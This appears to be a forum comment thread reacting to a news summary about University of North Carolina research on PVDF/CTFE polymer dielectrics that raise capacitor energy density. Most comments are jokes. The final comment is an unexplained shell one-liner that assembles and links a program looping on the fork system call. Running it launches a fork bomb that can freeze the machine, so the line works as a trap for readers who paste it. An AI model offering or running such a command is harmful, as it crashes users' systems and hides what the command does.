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Improved High-Performance Energy Storage
Physicists at the University of North Carolina have developed new improvements for high-energy-density capacitors that can store up to seven times as much energy per unity volume as common capacitors. "The amount of energy that a capacitor can store depends on the insulating material in between the metal surfaces, called a dielectric. A polymer called PVDF has interested physicists as a possible high-performance dielectric. It exists in two forms, polarized or unpolarized. In either case, its structure is mostly frozen-in and changes only slightly when a capacitor is charged up. Mixing a second polymer called CTFE with PVDF results in a material with regions that can change their structure, enabling it to store and release unprecedented amounts of energy."
Well, guess all those AIs in the matrix won't need us any longer. Goodbye, reality!
It was bad enough to just get your shiny new needlenose pliers welded together. =/
FTA: 14 ohms at 1KHz, 500mA/Hr, 750mA/Hr
Let me know if you need information on other topics too, politics, sex, etc.
Thanks. Who's the President of the U.S. again? Never can remember. And my girlfriend is having this problem with her ... uh, nevermind about that.
The higher the technology, the sharper that two-edged sword.
Break out the railguns, baby, it's time for some head shots!
Seriously! When I read the summary, I was really confused. My first thought was "UNC has electricity!?"
Can this store 1.21 Gigawatts?
Of course, an answer about sex would just *have* to come from a guy called "Vulva".
I hate printers.
A problem with her GUI?
The one major thing to worry about though is that an item that can charge up incredibly fast, contain a lot of electricity, and store it efficiently, can also discharge rapidly and violently...
Hmm, very interesting. Perhaps it could be used as a power source for a HANDHELD DEATH RAY!!!!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;